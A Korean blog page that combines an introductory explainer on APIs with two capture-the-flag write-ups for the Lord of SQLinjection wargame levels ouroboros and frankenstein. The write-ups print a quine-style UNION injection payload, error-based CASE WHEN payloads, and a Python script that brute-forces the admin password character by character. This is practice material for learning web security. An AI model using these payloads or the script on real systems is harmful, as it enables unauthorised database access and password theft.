API 에 대해서 가장 잘 이해되는 그림

API란?

어떤 서버의 특정한 부분에 접속하여 그 안에 있는 데이터와 서비스를 이용할 수 있도록 하는 SW 도구

진단하면서 느낀 건 모바일 앱 통신에서는 많이 API를 사용하고 있었음

 

API의 역할은?

서버와 DB 간 연결 통로 

모바일 앱과 단말기 간 데이터를 원활하게 주고 받도록 하는 역할

접속 표준화를 위해 단말기 ,  운영체제 상관없이 동일한 액세스 (범용)

 

API 유형은?

1) private API

회사내부용, 회사 내부 자체 제품이나 서비스 간 통신 담당

2) public API

모두에게 공개되는 API

3) partner API

특정 대상에게만 공유되는, 고객사 간 공유되는 API

 

API를 왜 사용할까?

private API를 사용할 경우, 애플리케이션 코드를 표준화할 수 있어서 간략하고 빠른 처리 가능

데이터 공유 쉬워짐

URI를 통하여 서버로 접근

 

API 방식 종류는?

1) REST 방식의 API

네트워크를 이용하여 URI와 HTTP 프로토콜을 기반으로 PC 간 통신할 수 있도록 하는 아키텍처 스타일
데이터 포맷 : JSON (왜? 브라우저 간 호환성이 좋음..)

2)SOAP API

SOAP는 프로토콜이며, 보안이나 메시지 전송 등에 있어서 REST 방식보다 복잡함

보안 수준이 엄격하여 웹 서비스에서는 잘 사용하지 않고 기업용 어플리케이션 작업시 주로 사용됨

서비스 인터페이스를 이용하여 서버로 접근

 

 

API 응답값 예시 

이런식으로 HTTP 헤더와 json 조합

 

참고

https://blog.wishket.com/api%EB%9E%80-%EC%89%BD%EA%B2%8C-%EC%84%A4%EB%AA%85-%EA%B7%B8%EB%A6%B0%ED%81%B4%EB%9D%BC%EC%9D%B4%EC%96%B8%ED%8A%B8/

 

API란? 비개발자가 알기 쉽게 설명해드립니다! - wishket

여러분은 API가 무엇인지 알고 계신가요? 자주 듣지만 그 개념이 무엇인지 정확하게 알기 쉽지 않은데요. 이번 시간 위시켓이  API란 무엇인지 알기 쉽게 설명해드리고자 합니다. 

blog.wishket.com

 

개발해보자..

'WEB' 카테고리의 다른 글

오토 스케일링(Auto Scaling)과 클러스터링(Clustering)  (0) 2023.08.30
CSTI XSS  (0) 2023.08.26
OWASP TOP 10 참고링크  (0) 2023.06.09
톰캣 보안 조치  (0) 2023.05.25
웹해킹 테스트 게시판 만들기 - 2  (0) 2023.05.24

이 문제는 어려워서 라업을 보고 시작했다..

일단 핵심은 저 부분. 바로 입력값과 결과값이 동일하게 만들어야 한다.. 함수들이 들어간다고 하면 해당 함수들이 다시 살아나야 하고 뭐 그런..

함수가 실행되지만 다시 함수를 넣을 수 있는..

정답을 보고도 이해하는 데 시간이 걸렸다. 일단 payload를 먼저 보고 시작하자.

실제 payload는 

' union select replace(replace('" union select replace(replace("$",char(34),char(39)),char(36),"$") as pw#',char(34),char(39)),char(36),'" union select replace(replace("$",char(34),char(39)),char(36),"$") as pw#') as pw#

인데, 가장 간단하게 생각하기 위해서는 처음오는 replace 와 그 다음에 오는 replace 두개만 빼고, 나머지 replace는 문자열로 생각해보자.

' union select replace( 
                                 replace(' " union select replace(replace("$",char(34),char(39)),char(36),"$") as pw# ', char(34),char(39) )
                                 ,char(36),
                                 ' " union select replace(replace("$",char(34),char(39)),char(36),"$") as pw# '
) as pw#

녹색으로 칠한 부분의 replace 1번

주황색으로 칠한 부분의 replace 2번 

이렇게 총 2개의 replace만 실제 함수로 동작하고 해당 함수 안에 또 존재하는 replace들은 싱글쿼터로 감싸진 (밑줄 친 부분) 그냥 문자열이라고 생각하자.

 

코드로 보면 조금 더 이해하기 쉬울 것이다.

' union select replace( 
                                 replace(' " union select replace(replace("$",char(34),char(39)),char(36),"$") as pw# ', char(34),char(39) )
                                 ,char(36),
                                 ' " union select replace(replace("$",char(34),char(39)),char(36),"$") as pw# '
) as pw#

 

주황색 replace 2번 먼저 풀어보자.

replace(' " union select replace(replace("$",char(34),char(39)),char(36),"$") as pw# ', char(34),char(39) )

char (34)는 " 이고, char (39)는  ' 이다. 

replace(' " union select replace(replace("$",char(34),char(39)),char(36),"$") as pw# ', char(34),char(39) )

' '로 감싸진 밑줄 친 문자열 : " union select replace(replace("$",char(34),char(39)),char(36),"$") as pw#

에서 " 를 ' 로 변경해보자.

변경후 문자열 : ' union select replace(replace('$',char(34),char(39)),char(36),'$') as pw#

 

 

가장 바깥에 있는 녹색 replace에 주황색 replace로 풀어낸 문자열을 대입해보자.

' union select replace( 
                                ' ' union select replace(replace('$',char(34),char(39)),char(36),'$') as pw#  ' 
                                 ,char(36),
                                 ' " union select replace(replace("$",char(34),char(39)),char(36),"$") as pw# '
) as pw#

 

char(36)은 $ 이다.
첫번째 인자 문자열에 있는 $ 자리에 " union select replace(replace("$",char(34),char(39)),char(36),"$") as pw# 이걸 넣어주면 된다.

$ 자리에 넣은 결과 : 

' union select replace(replace(' " union select replace(replace("$",char(34),char(39)),char(36),"$") as pw#',char(34),char(39)),char(36),' " union select replace(replace("$",char(34),char(39)),char(36),"$") as pw# ') as pw#

 

처음 입력값 : 

' union select replace(replace(' " union select replace(replace("$",char(34),char(39)),char(36),"$") as pw#',char(34),char(39)),char(36),' " union select replace(replace("$",char(34),char(39)),char(36),"$") as pw# ') as pw#

 

둘이 동일해서 문제를 풀 수 있다..

 

어려워

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step32. alien풀이  (0) 2023.08.30
[LOS] step31. ZOMBIE 풀이  (0) 2023.07.11
[LOS] step28. FRANKENSTEIN 풀이  (0) 2023.07.03
[LOS] step27. blue_dragon 풀이  (0) 2023.06.22
[LOS] step26. red_dragon 풀이  (0) 2023.06.22

필터링 조건은 _ . union ( ) 등을 필터링하고 있으며 addslashes 함수를 통해 pw에 들어가는 입력값에 / / 추가하므로 pw 값 자체를 알아내야 하는 문제이다.

괄호가 필터링 되는 게 제일 큰 문제이다.. 흠

일단, if(), (case when ~) 쓸 수 없고, length(), substr(), ascii()등과 같은 흔한 함수들도 사용할 수 없음.

어쨌든 pw값을 알아야 하기 때문에 pw like  'a%' 'ab%' 이런식으로 한글자씩 찾아야 한다. (left,right,lpad같은 함수도 못 씀)

그럼 조건문은 어떻게 만들 것인가? 처음에는 where절만 써서 하나 싶었는데 힌트를 좀 얻으니 그렇게는 쓸 수 없었다.

보통 case when 문을 사용할 때 위 그림과 같이 사용한다. 하지만 괄호가 필터링된다. 

다행히도 mysql에서는 괄호 없이도 case when 구문이 성립된다!!!

 

문제를 보면,

특이사항으로 쿼리 에러시 error로 출력한다. 왜 다르게 해뒀을까? 

정확한 쿼리  > 기본 페이지 출력 
부정확한 쿼리 > error 페이지 출력

이를 통해 error based injection을 시도할 수 있다.

부정확한 쿼리 발생을 위해서는 21번 문제를 참고하자.

payload : pw = ' ' or case when 1=1 then 1 else 9e307*2 end #

1=1 참일 때 1 반환

payload : pw = ' ' or case when 1=2 then 1 else 9e307*2 end # 

1=2 거짓일 때 9e307*2 를 반환하여 쿼리 에러로 에러 페이지를 반환한다.

 

조건문을 작성했으니, pw를 한글자씩 찾는 쿼리를 만들면 된다.

여기서 문제 발생...

payload : pw = ' ' or case when id='admin' and pw like 'a%' then 1 else 9e307*2 end # 

이런식으로 조건에 id = 'admin' and pw like 'a%' 로 해주었는데.. 계속 안되서 여기서만 몇 분을 할애했다..

문제해결로는 id = 'admin' 조건을 case when 내부에 넣지 말고 case when 밖으로 and로 연결해주었다.

payload : pw = ' ' or id='admin' and case when and pw like 'a%' then 1 else 9e307*2 end # 

 

자동화코드는 다음과 같다.

#LOS frankenstein

import requests

url ="https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php?" #공격URL
cookies ={"PHPSESSID": ""} #쿠키값
pw=''
check = ""


string = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_@-`?$^!"

while 1: 
    
    
    for char in string:

        tmp = pw + char+'%'  #9% -> 90% -> 902%
        #print(tmp)

        value = "1' or id='admin' and case when pw like '"+tmp+"' then 1 else 9e307*2 end #".format(char) #injection payload
        parmas = {'pw': value}      
        response = requests.get(url,params=parmas, cookies=cookies)

        print(parmas)
        #print(response.text)

        if ("__FILE__</span>" in  response.text):
            pw = pw + char
            print("payload:", pw)
            check = 1
            break

__FILE__</span> 코드는 응답값을 찍어본 다음에, 구별할 수 있는 아무 텍스트나 정해서 pw를 찾으면 break 걸도록 해뒀다.

위코드는 따로 pw의 길이를 파악할 수 없기에
더이상 찾지 못하고 string 리스트에 있는 문자를 계속 검색하면 멈추고 pw를 찾아냈다.

 

어려워

solve!!!!!!

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step31. ZOMBIE 풀이  (0) 2023.07.11
[LOS] step30. ouroboros 풀이  (0) 2023.07.05
[LOS] step27. blue_dragon 풀이  (0) 2023.06.22
[LOS] step26. red_dragon 풀이  (0) 2023.06.22
[LOS] step25. green_dragon 풀이  (0) 2023.06.21

+ Recent posts